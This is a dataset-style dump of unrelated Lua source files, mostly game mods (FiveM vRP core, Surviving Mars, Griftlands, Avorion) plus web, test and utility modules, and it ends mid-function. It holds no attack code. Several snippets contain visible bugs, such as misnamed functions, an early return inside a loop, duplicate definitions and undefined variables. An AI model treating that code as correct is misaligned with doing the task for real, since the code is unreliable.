content
stringlengths 5
1.05M
|
|---|
local Template = require "oil.dtests.Template"
local template = Template{"Client"} -- master process name
Client = [=====================================================================[
orb = oil.dtests.init()
local ok, ex = orb:step(0)
assert(ok == nil)
assert(ex.error == "timeout")
ok, ex = orb:step(.1)
assert(ok == nil)
assert(ex.error == "timeout")
ok, ex = orb:step(.1)
assert(ok == nil)
assert(ex.error == "timeout")
orb:shutdown()
--[Client]=====================================================================]
return template:newsuite{}
|
-----------------------------------
-- Area: Qu'Bia Arena
-- Mob: Gladiatorial Weapon
-- BCNM: Die by the Sword
-----------------------------------
require("scripts/globals/status")
-----------------------------------
function onMobInitialize(mob)
mob:addMod(tpz.mod.UDMGMAGIC, -100)
end
function onMobDeath(mob, player, isKiller)
end
|
package.path = package.path .. ";data/scripts/lib/?.lua"
package.path = package.path .. ";data/scripts/?.lua"
local ShipGenerator = include("shipgenerator")
ESCCUtil = include("esccutil")
LLTEUtil = include("llteutil")
MissionUT = include("missionutility")
include("stringutility")
include("randomext")
function create(item, rarity, allyIndex)
rarity = Rarity(RarityType.Exceptional)
item.stackable = false
item.depleteOnUse = true
item.name = "Cavaliers Torpedo Loader Beacon"%_t
item.price = 1200000
item.icon = "data/textures/icons/missile-pod.png"
item.rarity = rarity
item:setValue("subtype", "TorpedoLoaderCaller")
item:setValue("factionIndex", allyIndex)
local tooltip = Tooltip()
tooltip.icon = item.icon
local title = "Cavaliers Torpedo Loader Beacon"%_t
local headLineSize = 25
local headLineFontSize = 15
local line = TooltipLine(headLineSize, headLineFontSize)
line.ctext = title
line.ccolor = item.rarity.color
tooltip:addLine(line)
-- empty line
tooltip:addLine(TooltipLine(14, 14))
local line = TooltipLine(20, 14)
line.ltext = "Ally"%_t
line.rtext = "${faction:"..allyIndex.."}"
line.icon = "data/textures/icons/flying-flag.png"
line.iconColor = ColorRGB(0.8, 0.8, 0.8)
tooltip:addLine(line)
tooltip:addLine(TooltipLine(14, 14))
local line = TooltipLine(20, 14)
line.ltext = "Merchant Type"%_t
line.rtext = "Torpedo Loader"%_t
line.icon = "data/textures/icons/ship.png"
line.iconColor = ColorRGB(0.8, 0.8, 0.8)
tooltip:addLine(line)
tooltip:addLine(TooltipLine(14, 14))
local line = TooltipLine(20, 14)
line.ltext = "Upgrades"%_t
line.rtext = "No"%_t
line.rcolor = ColorRGB(1, 0.3, 0.3)
line.icon = "data/textures/icons/circuitry.png"
line.iconColor = ColorRGB(0.8, 0.8, 0.8)
tooltip:addLine(line)
local line = TooltipLine(20, 14)
line.ltext = "Turrets"%_t
line.rtext = "No"%_t
line.rcolor = ColorRGB(1, 0.3, 0.3)
line.icon = "data/textures/icons/turret.png"
line.iconColor = ColorRGB(0.8, 0.8, 0.8)
tooltip:addLine(line)
local line = TooltipLine(20, 14)
line.ltext = "Utilities"%_t
line.rtext = "No"%_t
line.rcolor = ColorRGB(1, 0.3, 0.3)
line.icon = "data/textures/icons/satellite.png"
line.iconColor = ColorRGB(0.8, 0.8, 0.8)
tooltip:addLine(line)
local line = TooltipLine(20, 14)
line.ltext = "Torpedoes"%_t
line.rtext = "Yes"%_t
line.rcolor = ColorRGB(0.3, 1, 0.3)
line.icon = "data/textures/icons/missile-pod.png"
line.iconColor = ColorRGB(0.8, 0.8, 0.8)
tooltip:addLine(line)
local line = TooltipLine(20, 14)
line.ltext = "Rare Artifacts"%_t
line.rtext = "No"%_t
line.rcolor = ColorRGB(1, 0.3, 0.3)
line.icon = "data/textures/icons/circuitry.png"
line.iconColor = ColorRGB(0.8, 0.8, 0.8)
tooltip:addLine(line)
-- empty line
tooltip:addLine(TooltipLine(14, 14))
local line = TooltipLine(20, 15)
line.ltext = "Depleted on Use"%_t
line.lcolor = ColorRGB(1.0, 1.0, 0.3)
tooltip:addLine(line)
-- empty line
tooltip:addLine(TooltipLine(14, 14))
local line = TooltipLine(20, 14)
line.ltext = "Can be activated by the player"%_t
tooltip:addLine(line)
local line = TooltipLine(20, 14)
line.ltext = "Calls in a Cavaliers Torpedo Loader."%_t
tooltip:addLine(line)
item:setTooltip(tooltip)
return item
end
function activate(item)
local _Player = Player()
local allyIndex = item:getValue("factionIndex")
if not allyIndex then
_Player:sendChatMessage("", ChatMessageType.Information, "No response."%_T)
return false
end
local allyIndex = item:getValue("factionIndex")
if not allyIndex then
_Player:sendChatMessage("", ChatMessageType.Information, "No response."%_T)
return false
end
local faction = Faction(allyIndex)
if not faction then
_Player:sendChatMessage("", ChatMessageType.Information, "No response."%_T)
return false
end
if faction.index ~= allyIndex then
_Player:sendChatMessage("", ChatMessageType.Information, "No response."%_T)
return false
end
local sender = "The Cavaliers"
local _Sector = Sector()
local _X, _Y = _Sector:getCoordinates()
local _Rank = _Player:getValue("_llte_cavaliers_ranklevel")
local _PlayerInBarrier = MissionUT.checkSectorInsideBarrier(_X, _Y)
local _CavsInBarrier = _Player:getValue("_llte_cavaliers_inbarrier")
local playerFaction = _Player.craftFaction
if _Rank < 2 then
_Player:sendChatMessage(sender, ChatMessageType.Normal, "We only send out combat support to those who have proven themselves to us."%_T)
return false
end
if _PlayerInBarrier and not _CavsInBarrier then
_Player:sendChatMessage(sender, ChatMessageType.Normal, "We can't send a Torpedo Loader to you!"%_T)
return false
end
if Sector():getEntitiesByScriptValue("_llte_cavaliers_torpedo_loader") then
_Player:sendChatMessage(sender, ChatMessageType.Normal, "There is already a torpedo loader in this sector."%_T)
return false
end
local craft = _Player.craft
if not craft then
_Player:sendChatMessage(sender, ChatMessageType.Error, "You must be in a ship to use this."%_T)
return false
end
-- create the merchant
local pos = random():getDirection() * 1500
local matrix = MatrixLookUpPosition(normalize(-pos), vec3(0, 1, 0), pos)
local ship = ShipGenerator.createTradingShip(faction, matrix)
ship:invokeFunction("icon.lua", "set", "data/textures/icons/pixel/torpedoboat.png")
ship.title = "Cavaliers Torpedo Loader"
ship:addScriptOnce("data/scripts/entity/merchants/cavalierstorpedoloader.lua")
ship:addScript("data/scripts/entity/merchants/travellingmerchant.lua")
ship:addScriptOnce("deleteonplayersleft.lua")
ship:addScript("ai/withdrawatlowhealth.lua", 0.1, 1, 1, 0.02)
ship:setValue("_llte_cavaliers_torpedo_loader", true)
ship.name = LLTEUtil.getFreighterName()
Sector():broadcastChatMessage(ship, 0, "You need torpedoes, Cavalier? We've got them.", ship.title, ship.name)
return true
end
|
vRPCoreC = Tunnel.getInterface("bscore", "bscore")
vRPJobsS = Proxy.getInterface("jobs")
vRPCoreS = {}
Tunnel.bindInterface("bscore", vRPCoreS)
Proxy.addInterface("bscore", vRPCoreS)
local Core = class("bscore", vRP.Extension)
Core.User = class("User")
Core.tunnel = {}
Core.event = {}
function Core:__construct()
vRP.Extension.__construct(self)
Citizen.CreateThread(function()
while true do
Citizen.Wait(2500)
for k, v in pairs(vRP.users_by_source) do
TriggerClientEvent("vrp:playerUpdate", k, v, Core:loadData(user))
end
end
end)
end
function Core.event:playerSpawn(user, first_spawn)
TriggerEvent("vrp:playerSpawn", user, first_spawn)
end
function Core.event:characterLoad(user)
Citizen.CreateThread(function()
while true do
Citizen.Wait(1000)
if user:isReady() and vRP.users_by_source[user.source] then
print(user.name .. " ("..user.source..")" .. " has loaded!", user.spawns)
local data = Core:loadData(user)
TriggerEvent("vrp:playerReady", user, data)
TriggerClientEvent("vrp:playerReady", user.source, user, data)
return
end
end
end)
end
function Core.event:characterUnload(user)
TriggerEvent("vrp:playerUnloaded", user)
TriggerClientEvent("vrp:playerUnloaded", user.source, user)
end
function Core.event:playerLeave(user)
TriggerEvent("vrp:playerLeave", user)
TriggerClientEvent("vrp:playerLeave", user.source, user)
end
function Core.event:playerDeath(user)
TriggerEvent("vrp:playerDeath", user)
TriggerClientEvent("vrp:playerDeath", user.source, user)
end
function Core.event:playerMoneyUpdate(user)
TriggerClientEvent("vrp:core:moneyUpdated", user, user:getWallet(), user:getBank())
end
function Core:loadData(user)
local data = {
wallet = user:getWallet(),
bank = user:getBank(),
job = vRPJobsS.getCurrentJobByUser(user)
}
return data
end
function getUserByIdentifier(identifier)
for source, user in pair(users_by_source) do
if vRP.getSourceIdKey(source) == identifier then
return user
end
return nil
end
end
vRP:registerExtension(Core)
--- returns user
function vRPCoreS.getUserBySource(source)
return vRP.users_by_source[source]
end
function vRPCoreS.hasLoaded()
return (vRP.users_by_source[source]) and true or false
end
function vRPCoreS.getVehicles()
local user = vRP.users_by_source[source]
return user:getVehicles();
end
function vRPCoreS.getVehicles(amount, dry)
local user = vRP.users_by_source[source]
return user:tryFullPayment(amount, dry);
end
RegisterNetEvent('vrp_getPlayers')
AddEventHandler('vrp_getPlayers', function(callback)
callback(vRP.users)
end)
exports('CoreGetUserBySource', function(source)
return vRP.users_by_source[source]
end)
exports('getUsers', function(source)
return vRP.users
end)
exports('CoreNotifyClient', function(source, msg)
vRP.EXT.Base.remote._notify(source, msg)
end)
exports('CoreSendServiceAlert', function(sender, number, x, y, z, msg)
vRP.EXT.Phone:sendServiceAlert(sender,number,x,y,z,msg)
end)
exports('getPlayerID', function(source)
return vRP.users_by_source[source].id
end)
exports('getCharacterID', function(source)
local retries = 0
while not vRP.users_by_source[source] or retries > 15 do
retries = retries + 1
Citizen.Wait(1500)
end
return vRP.users_by_source[source].cid
end)
exports('getUserByIdentifier', function(identifier)
return getUserByIdentifier(identifier)
end)
exports('tryPayment', function(source, amount, dry)
local user = vRP.users_by_source[source]
return user:tryPayment(amount, dry)
end)
exports('giveWallet', function(source, amount)
local user = vRP.users_by_source[source]
user:giveWallet(amount)
end)
exports('getWallet', function(source)
local user = vRP.users_by_source[source]
user:getWallet(amount)
end)
exports('getClosestOwnedVehicle', function(radius)
return vRPCoreC.getNearestOwnedVehicle(radius)
end)
exports('getFullName', function(source)
local user = vRP.users_by_source[source]
return "" .. user.identity.firstname .. " " .. user.identity.name
end)
RegisterNetEvent('vrp_spawnVehicle')
AddEventHandler('vrp_spawnVehicle', function(model, position)
local user = vRP.users_by_source[source]
local vehicles = user:getVehicles()
if vehicles[model] == 1 then -- in
local vstate = user:getVehicleState(model)
local state = {
customization = vstate.customization,
condition = vstate.condition,
locked = vstate.locked
}
vehicles[model] = 0 -- mark as out
vRP.EXT.Garage.remote._spawnVehicle(user.source, model, state, position)
vRP.EXT.Garage.remote._setOutVehicles(user.source, {[model] = {}})
elseif vehicles[model] == 0 then -- out
vRP.EXT.Base.remote._notify(user.source, vRP.lang.garage.owned.already_out())
-- force out request
if user:request(vRP.lang.garage.owned.force_out.request({vRP.EXT.Garage.cfg.force_out_fee}), 15) then
if user:tryPayment(vRP.EXT.Garage.cfg.force_out_fee) then
local vstate = user:getVehicleState(model)
local state = {
customization = vstate.customization,
condition = vstate.condition,
locked = vstate.locked
}
vehicles[model] = 0 -- mark as out
vRP.EXT.Garage.remote._spawnVehicle(user.source, model, state)
vRP.EXT.Garage.remote._setOutVehicles(user.source, {[model] = {state, vstate.position, vstate.rotation}})
else
vRP.EXT.Base.remote._notify(user.source, vRP.lang.money.not_enough())
end
end
end
end)
RegisterNetEvent('vrp_despawnVehicle')
AddEventHandler('vrp_despawnVehicle', function(model)
local user = vRP.users_by_source[source]
local vehicles = user:getVehicles()
if model then
vRP.EXT.Garage.remote._removeOutVehicles(user.source, {[model] = true})
if vRP.EXT.Garage.remote.despawnVehicle(user.source, model) then
if vehicles[model] then
vehicles[model] = 1 -- mark as in garage
end
vRP.EXT.Base.remote._notify(user.source, vRP.lang.garage.store.stored())
end
else
vRP.EXT.Base.remote._notify(user.source, vRP.lang.garage.store.too_far())
end
end)
RegisterNetEvent('vrp_buyVehicle')
AddEventHandler('vrp_buyVehicle', function(model, amount)
local user = vRP.users_by_source[source]
local uvehicles = user:getVehicles()
if uvehicles[model] then
vRP.EXT.Base.remote._notify(user.source, "~r~You already own this vehicle")
return
end
-- buy vehicle
if user:tryPayment(amount, false) then
uvehicles[model] = 1
vRP.EXT.Base.remote._notify(user.source, vRP.lang.money.paid({amount}))
else
vRP.EXT.Base.remote._notify(user.source, vRP.lang.money.not_enough())
end
end)
RegisterNetEvent('vrp_sellVehicle')
AddEventHandler('vrp_sellVehicle', function(model, amount, sellFactor)
local user = vRP.users_by_source[source]
local uvehicles = user:getVehicles()
if not sellFactor then
sellFactor = vRP.EXT.Garage.cfg.sell_factor
end
local price = math.ceil(amount*sellFactor)
if uvehicles[model] == 1 and not user.cdata.rent_vehicles[model] then -- has vehicle in, not rented
user:giveWallet(price)
uvehicles[model] = nil
vRP.EXT.Base.remote._notify(user.source,vRP.lang.money.received({price}))
user:actualizeMenu()
else
vRP.EXT.Base.remote._notify(user.source,vRP.lang.common.not_found())
end
end)
RegisterNetEvent('vrp_rentVehicle')
AddEventHandler('vrp_rentVehicle', function(model, amount, rentFactor)
local user = menu.user
local uvehicles = user:getVehicles()
if not rentFactor then
rentFactor = vRP.EXT.Garage.cfg.cfg.rent_factor
end
local price = math.ceil(amount*rentFactor)
-- rent vehicle
if user:tryPayment(price, false) then
uvehicles[model] = 1
user.cdata.rent_vehicles[model] = true
vRP.EXT.Base.remote._notify(user.source,lang.money.paid({price}))
user:actualizeMenu()
else
vRP.EXT.Base.remote._notify(user.source,lang.money.not_enough())
end
end)
|
local error = require('app.utils').error
local render_to_string = require('app.views.helpers').render_to_string
local ngx_print = ngx.print
local ngx_header = ngx.header
local ngx_req = ngx.req
local ngx_HTTP_NOT_ALLOWED = ngx.HTTP_NOT_ALLOWED
local template_handler_meta = {
__call = function(self)
ngx_header['content-type'] = self.content_type
if self.content then
ngx_print(self.content)
return
end
local content = render_to_string(self.template, self.context)
if self.cache then
self.content = content
end
ngx_print(content)
end
}
local template_handler = function(params)
-- params table:
-- [1] = template path
-- [2] = context (optional)
-- content_type = <not set>
-- cache = true
local cache = params.cache
if cache == nil then
cache = true
end
local content_type = params.content_type
if not content_type then
content_type = 'text/html'
end
return setmetatable({
template = params[1],
context = params[2],
content_type = content_type,
cache = cache,
}, template_handler_meta)
end
local view_meta = {
__call = function(self, ...)
local args
if self.initial then
args = {self.initial(...)}
else
args = {...}
end
local method = ngx_req.get_method()
local handler = self[method]
if not handler then
return error(ngx_HTTP_NOT_ALLOWED)
else
handler(unpack(args))
if not ngx_header['content-type'] then
ngx_header['content-type'] = 'text/html'
end
end
end
}
local view = function(handlers)
if type(handlers) == 'string' then
handlers = require(handlers)
end
local view_table = {}
for method, handler in pairs(handlers) do
local handler_type = type(handler)
if method == 'initial' then
assert(handler_type == 'function')
view_table.initial = handler
else
if handler_type == 'table' then
handler = template_handler(handler)
elseif handler_type == 'string' then
handler = template_handler({handler})
end
view_table[method] = handler
end
end
return setmetatable(view_table, view_meta)
end
return {
main = view('app.views.main'),
get_file = view('app.views.get-file'),
webhook = view('app.views.webhook'),
upload = view('app.views.upload'),
docs_api = view('app.views.docs-api'),
error = require('app.views.error').error_handler,
}
|
local Class = require 'class';
return Class {
constructor = function(self, precache)
self.Cache = precache or {};
self.__mt.__tostring = function()
return p(self.Cache)
end;
end,
push = function(self, key, value)
self.Cache[key]:push(value)
end;
toArray = function(self)
assert(self, 'use : operator instead of . with class objects');
return self.Cache;
end,
size = function(self)
assert(self, 'use : operator instead of . with class objects');
local count = 0;
for _, cmdObj in pairs(self:toArray()) do
count = count + 1;
end
return count;
end,
find = function(self, predicate)
assert(predicate);
return table.some(self.Cache, predicate) or nil;
end,
get = function(self, key)
return self.Cache[key] or nil;
end,
set = function(self, key, val)
if not key then return end;
self.Cache[key] = val;
end,
delete = function(self, key)
if not key then return end;
self:set(key, nil)
end,
deleteall = function(self)
assert(self, 'use : operator instead of . with class objects');
self.Cache = {};
end
}
|
--module("base64", package.seeall)
function tcp_ip_get_src_port(data)
return data:byte(35) * 256 + data:byte(36)
end
function tcp_ip_get_dst_port(data)
return data:byte(37) * 256 + data:byte(38)
end
|
local battle_defs = require "battle/battle_defs"
local CARD_FLAGS = battle_defs.CARD_FLAGS
local BATTLE_EVENT = battle_defs.BATTLE_EVENT
--------------------------------------------------------------------
local BATTLE_GRAFTS =
{
prickle =
{
name = "Prickle",
desc = "If you end your turn with no {DEFEND} gain 4 {RIPOSTE}.",
rarity = CARD_RARITY.COMMON,
icon_override = "razorglass",
card_defs = battle_defs,
riposte_amt = 4,
battle_condition =
{
hidden = true,
event_handlers =
{
[ BATTLE_EVENT.END_PLAYER_TURN ] = function( self, battle )
if not self.owner:HasCondition("DEFEND") then
self.owner:AddCondition( "RIPOSTE", self.graft:GetDef().riposte_amt or 4)
end
end
},
},
},
prickle_plus =
{
name = "Boosted Prickle",
desc = "If you end your turn with no {DEFEND} gain 6 {RIPOSTE}.",
icon_override = "razorglass_plus",
riposte_amt = 6,
},
cogitator =
{
name = "Cogitator",
desc = "After you play 6 cards in a single turn gain 1 {EVASION}.",
rarity = CARD_RARITY.UNCOMMON,
icon_override = "reflector",
card_defs = battle_defs,
counter = 0,
battle_condition =
{
hidden = true,
event_handlers =
{
[ BATTLE_EVENT.POST_RESOLVE ] = function (self, battle, attack)
if attack.owner == self.owner then
self.graft:GetDef().counter = self.graft:GetDef().counter + 1
if self.graft:GetDef().counter == 6 then
self.owner:AddCondition( "EVASION", 1)
if self.graft:GetDef().repeating == true then
self.graft:GetDef().counter = 0
end
end
end
end,
[ BATTLE_EVENT.END_PLAYER_TURN ] = function( self, battle )
self.graft:GetDef().counter = 0
end
},
},
},
cogitator_plus =
{
name = "Boosted Cogitator",
desc = "For every 6 cards you play in a single turn gain 1 {EVASION}.",
icon_override = "reflector_plus",
repeating = true,
},
}
---------------------------------------------------------------------------------------------
for i, id, graft in sorted_pairs( BATTLE_GRAFTS ) do
graft.card_defs = battle_defs
graft.series = "SAL"
graft.type = GRAFT_TYPE.COMBAT
if graft.battle_condition and graft.battle_condition.hidden == nil then
graft.battle_condition.hidden = true
end
Content.AddGraft( id, graft )
end
|
local dir = require "memfs.dir"
local d = dir(true)
d:mkdir("a"):mkdir("aa") --:all(print)
assert(d/"a"/"aa")
local d2 = dir(true)
assert(not pcall(function() d:hardlink("d2", d2) end))
assert(d/"a"/"aa" == d:getnode{"a", "aa"})
print("OK")
|
--[[
FPS Meter
v1.0 - 2020/10/15
by: standardcombo
This module calculates players' frame rates and can display their
FPS on screen. While it's possible to see frame rate through other
means and Core provides good optimization tools, you may want your
game to either:
1. Show the FPS (frames per second) to the players.
2. Cut visual quality for some players if their FPS is low.
Usage
=====
1. Drop a copy of the "FPSMeter" template into the hierarchy.
Players should now see their FPS in the upper-right corner.
2. To stop displaying the FPS, delete the "UI Text Box" object or
set its visibility to "Off".
3. Make client-side performance decisions, such as disabling post-
process filters, by reading a player's FPS from the global table:
```
function Tick()
if _G.FPS then
someEffectObject.isEnabled = (_G.FPS > 50)
end
Task.Wait(0.4)
end
```
4. Make server-side decisions for a player based on their FPS:
```
Events.ConnectForPlayer("FrameRate", function(player, fps)
print(player.name .. "'s FPS = " .. tostring(fps))
-- TODO: Make decisions for player
end)
function OnPlayerJoined(player)
Task.Wait(1)
if _G["Utils.FPSMeter"] then
_G["Utils.FPSMeter"].GetFrameRateForPlayer(player)
end
end
Game.playerJoinedEvent:Connect(OnPlayerJoined)
```
--]]
|
local export = {}
local gsub = mw.ustring.gsub
local tt = {
-- consonants
['ᦀ'] = '˙ʼ', ['ᦁ'] = 'ʼ',
['ᦂ'] = 'k\204\135', ['ᦃ'] = 'x\204\135', ['ᦄ'] = 'n\204\135g', ['ᦅ'] = 'k', ['ᦆ'] = 'x', ['ᦇ'] = 'ng',
['ᦈ'] = 't\204\135s', ['ᦉ'] = 's\204\135', ['ᦊ'] = 'y\204\135', ['ᦋ'] = 'ts', ['ᦌ'] = 's', ['ᦍ'] = 'y',
['ᦎ'] = 't\204\135', ['ᦏ'] = 't\204\135h', ['ᦐ'] = 'n\204\135', ['ᦑ'] = 't', ['ᦒ'] = 'th', ['ᦓ'] = 'n',
['ᦔ'] = 'p\204\135', ['ᦕ'] = 'p\204\135h', ['ᦖ'] = 'm\204\135', ['ᦗ'] = 'p', ['ᦘ'] = 'ph', ['ᦙ'] = 'm',
['ᦚ'] = 'f\204\135', ['ᦛ'] = 'v\204\135', ['ᦜ'] = 'l\204\135', ['ᦝ'] = 'f', ['ᦞ'] = 'v', ['ᦟ'] = 'l',
['ᦠ'] = 'h\204\135', ['ᦡ'] = 'd\204\135', ['ᦢ'] = 'b\204\135', ['ᦣ'] = 'h', ['ᦤ'] = 'd', ['ᦥ'] = 'b',
['ᦦ'] = 'k\204\135w', ['ᦧ'] = 'x\204\135w', ['ᦨ'] = 'kw', ['ᦩ'] = 'xw', ['ᦪ'] = 's\204\135w', ['ᦫ'] = 'sw',
-- vowels and finals (visual ordering by Unicode 8)
['ᦰ'] = '!', ['ᦱ'] = 'aa', ['ᦲ'] = 'ii', ['ᦳ'] = 'u', ['ᦴ'] = 'uu', ['ᦸ'] = 'oa', ['ᦹ'] = 'ue',
['ᦵ'] = 'e', ['ᦶ'] = 'ae', ['ᦷ'] = 'o', ['ᦺ'] = 'ay', -- this line to be swapped
['ᦻ'] = 'aay', ['ᦼ'] = 'uy', ['ᦽ'] = 'oy', ['ᦾ'] = 'oay', ['ᦿ'] = 'uey', ['ᧀ'] = 'iiy',
['ᧁ'] = 'w', ['ᧂ'] = 'ng', ['ᧃ'] = 'n', ['ᧄ'] = 'm', ['ᧅ'] = 'k', ['ᧆ'] = 'd', ['ᧇ'] = 'b',
-- tones
['ᧈ'] = '<sup>1</sup>', ['ᧉ'] = '<sup>2</sup>',
-- numerals
['᧐'] = '0', ['᧑'] = '1', ['᧒'] = '2', ['᧓'] = '3', ['᧔'] = '4',
['᧕'] = '5', ['᧖'] = '6', ['᧗'] = '7', ['᧘'] = '8', ['᧙'] = '9',
['᧚'] = '1',
-- ligatures ᧞ ᧟ sorted after ᦶᦜ
['᧞'] = 'l\204\135ae', ['᧟'] = 'l\204\135aew',
}
function export.tr(text, lang, sc, debug_mode)
if type(text) == 'table' then -- called directly from a template
text = text.args[1]
end
text = gsub(text, '([ᦵᦶᦷᦺ])([ᦀ-ᦫ])', '%2%1') -- swapped
text = gsub(text, '([ᦀ-ᦫ])([ᧁ-ᧇ])', '%1a%2')
text = gsub(text, '.', tt)
text = gsub(text, 'aa!', 'a')
text = gsub(text, 'ii!', 'i')
text = gsub(text, 'uu!', 'u')
text = gsub(text, 'eii', 'oe')
return text
end
return export
|
local http = require "lib/http-code"
local copas = require "copas"
local modules = require("lib/loader-module")
local ServiceCommand = {}
ServiceCommand.__index = ServiceCommand
ServiceCommand.__deps = {
event_bus = "event-bus",
-- mqtt = "mqtt-provider"
}
function ServiceCommand:LogTag()
return "ServiceCommand"
end
function ServiceCommand:ListCommands()
local r = { }
for _,v in pairs(self.commands) do
local cmd = {}
table.insert(r, cmd)
cmd.name = v.name
cmd.args = v.args
end
return http.OK, r
end
function ServiceCommand:ExecuteCommand(request, command)
local cmd = self.commands[command]
if not cmd then
error("ServiceCommand: Command " .. tostring(command) .. " is not registered")
return http.NotFound, {}
end
local code = http.OK
local r = nil
local success, response = cmd.handler(self:ParseCommands(request, cmd))
if not success then
if type(response) == "number" then
code = response
else
code = http.BadRequest
end
else
r = response or {}
end
return code, r
end
function ServiceCommand:ParseCommands(request, cmd)
end
function ServiceCommand:RegisterCommand(module_id, command_name, args_desc, handler)
if self.commands[command_name] then
error("ServiceCommand: Command " .. command_name .. " is already registered")
return
end
self.commands[command_name] = {
name = command_name,
module_id = module_id,
args = args_desc,
handler = handler,
}
print("ServiceCommand: Registerd command " .. command_name)
end
function ServiceCommand:UnregisterCommands(module_id)
self.commands = table.filter(self.commands, function(_, c)
return c.module_id ~= module_id
end)
print("ServiceCommand: Unregistered commands for module " .. module_id)
end
function ServiceCommand:BeforeReload()
self:UnregisterCommands("ServiceCommand")
end
function ServiceCommand:AfterReload()
self.commands = self.commands or {}
self:RegisterCommand("ServiceCommand", "exit", nil, function(...) return self:ExitCommand(...) end)
self:RegisterCommand("ServiceCommand", "reload_modules", nil, function(...) return self:ReloadModules(...) end)
end
function ServiceCommand:Init()
self.commands = {}
end
function ServiceCommand:ReloadModules()
modules.Reload()
return true
end
function ServiceCommand:ExitCommand()
copas.addthread(function()
self.event_bus:PushEvent({
event = "exit.pending",
client = self,
})
print(self:LogTag() .. string.format(" Exiting in 10 seconds"))
copas.sleep(10)
print(self:LogTag() .. string.format(" Exiting"))
self.event_bus:PushEvent({
event = "exit.trigger",
client = self,
})
os.exit(0)
end)
return true
end
return ServiceCommand
|
-- See LICENSE for terms
local table_find = table.find
local table_remove = table.remove
local table_rand = table.rand
local GameTime = GameTime
local Max = Max
local Sleep = Sleep
local AsyncRand = AsyncRand
local orig_WaitInOrbit = SupplyRocket.WaitInOrbit
function SupplyRocket:WaitInOrbit(arrive_time, ...)
-- check for pass and abort if not
local pass_table
if self.cargo then
pass_table = table_find(self.cargo, "class", "Passengers")
end
if not pass_table then
return orig_WaitInOrbit(self, arrive_time, ...)
end
-- SupplyRocket:WaitInOrbit()
self:OffPlanet()
self.orbit_arrive_time = arrive_time
-- no need to check
--~ self.cargo = self.cargo or {}
local cargo = self.cargo
-- skip the below, since we know it's a pass rocket
self.orbit_arrive_time = self.orbit_arrive_time or GameTime()
--~ -- release probes immediately, mark orbit arrival time if carrying passengers
--~ for i = #cargo, 1, -1 do
--~ local item = cargo[i]
--~ if IsKindOf(g_Classes[item.class], "OrbitalProbe") then
--~ for j = 1, item.amount do
--~ PlaceObject(item.class, {city = self.city})
--~ end
--~ table.remove(cargo, i)
--~ elseif item.class == "Passengers" then
--~ self.orbit_arrive_time = self.orbit_arrive_time or GameTime()
--~ end
--~ end
local landing_disabled = self.landing_disabled
self:UpdateStatus(self:IsFlightPermitted() and (landing_disabled and "landing disabled" or "in orbit") or "suspended in orbit")
if not self:IsLandAutomated() or not self:IsFlightPermitted() or landing_disabled then
--~ if self.orbit_arrive_time then
-- wait the usual orbit time
Sleep(Max(0, self.passenger_orbit_life + GameTime() - self.orbit_arrive_time))
--~ -- testing
--~ Sleep(const.HourDuration)
-- instead of killing them all off, we remove the food and kill off one per sol
table_remove(cargo, table_find(cargo, "class", "Food"))
-- feeding schedule
local hour = const.HourDuration
local max = hour * 6
local min = hour * 2
local min1 = min + 1
pass_table = cargo[pass_table]
while pass_table.amount > 0 do
-- between 2 and 6 hours per feed
Sleep(Max(0, (AsyncRand(max - min1) + min) + GameTime() - self.orbit_arrive_time))
-- who's it gonn' be?
local _, idx = table_rand(pass_table.applicants_data)
-- just in case
if not idx then
break
end
table_remove(pass_table.applicants_data, idx)
pass_table.amount = pass_table.amount - 1
self.ChoGGi_cann_a_snack = true
end
-- if we land before they're all dead the below won't fire
-- kill the passengers, call GameOver if there are no colonists on Mars
local count
for i = #cargo, 1, -1 do
if cargo[i].class == "Passengers" then
count = cargo[i].amount
table_remove(cargo, i)
end
end
if (count or 0) > 0 then
if #(self.city.labels.Colonist or empty_table) == 0 then
GameOver("last_colonist_died")
else
-- notification
AddOnScreenNotification("DeadColonistsInSpace", nil, {count = count})
end
-- call if all die
self:OnPassengersLost()
end
self.orbit_arrive_time = nil
self:UpdateStatus(self.status) -- force update to get rid of the passenger-specific texts in rollover/summary
--~ end
WaitWakeup()
end
self:SetCommand("LandOnMars", self.landing_site)
end
local orig_LandOnMars = SupplyRocket.LandOnMars
function SupplyRocket:LandOnMars(...)
-- longpig lu'au?
if self.ChoGGi_cann_a_snack then
local cargo = self.cargo
local pass_table
if cargo then
pass_table = table_find(cargo, "class", "Passengers")
end
-- just in case
if not pass_table then
return orig_LandOnMars(self, ...)
end
pass_table = cargo[pass_table]
-- mark the leftovers
for i = 1, #pass_table.applicants_data do
pass_table.applicants_data[i].traits.ChoGGi_cannibal = true
end
end
return orig_LandOnMars(self, ...)
end
function OnMsg.ClassesPostprocess()
if TraitPresets.ChoGGi_cannibal then
return
end
PlaceObj("TraitPreset", {
daily_update_func = function (colonist, trait)
colonist:ChangeSanity(-trait.param*const.Scale.Stat, trait.id)
end,
description = T(101452796812,"<DisplayName> loses Sanity")
.. T(302535920011355, " from having eaten uncooked flesh (BBQ party next time)."),
display_name = T(302535920011000, "Cannibal"),
group = "Negative",
id = "ChoGGi_cannibal",
incompatible = {},
param = 4,
})
end
|
local pattern_escape_replacements = {
["("] = "%(",
[")"] = "%)",
["."] = "%.",
["%"] = "%%",
["+"] = "%+",
["-"] = "%-",
["*"] = "%*",
["?"] = "%?",
["["] = "%[",
["]"] = "%]",
["^"] = "%^",
["$"] = "%$",
["\0"] = "%z"
}
function string.PatternSafe( str )
return ( str:gsub( ".", pattern_escape_replacements ) )
end
function string.ToTable ( str )
local tbl = {}
for i = 1, string.len( str ) do
tbl[i] = string.sub( str, i, i )
end
return tbl
end
local totable = string.ToTable
local string_sub = string.sub
local string_gsub = string.gsub
local string_gmatch = string.gmatch
function string.Explode(separator, str, withpattern)
if (separator == "") then return totable( str ) end
local ret = {}
local index, lastPosition = 1, 1
-- Escape all magic characters in separator
if not withpattern then separator = separator:PatternSafe() end
-- Find the parts
for startPosition, endPosition in string_gmatch( str, "()" .. separator.."()" ) do
ret[index] = string_sub( str, lastPosition, startPosition - 1 )
index = index + 1
-- Keep track of the position
lastPosition = endPosition
end
-- Add last part by using the position we stored
ret[index] = string_sub( str, lastPosition)
return ret
end
function table.Random(tbl)
local count = 0
for _,_ in pairs(tbl) do count = count + 1 end
local i = 1
local rk = math.random(1, count)
for k,v in pairs(tbl) do
if i == rk then return v, k end
i = i + 1
end
end
function table.Count(t)
local size = 0
for k in pairs(t) do
size = size + 1
end
return size
end
function table.Copy( t, lookup_table )
if ( t == nil ) then return nil end
local copy = {}
setmetatable( copy, getmetatable( t ) or {} )
for i, v in pairs( t ) do
if ( type(v) ~= "table" ) then
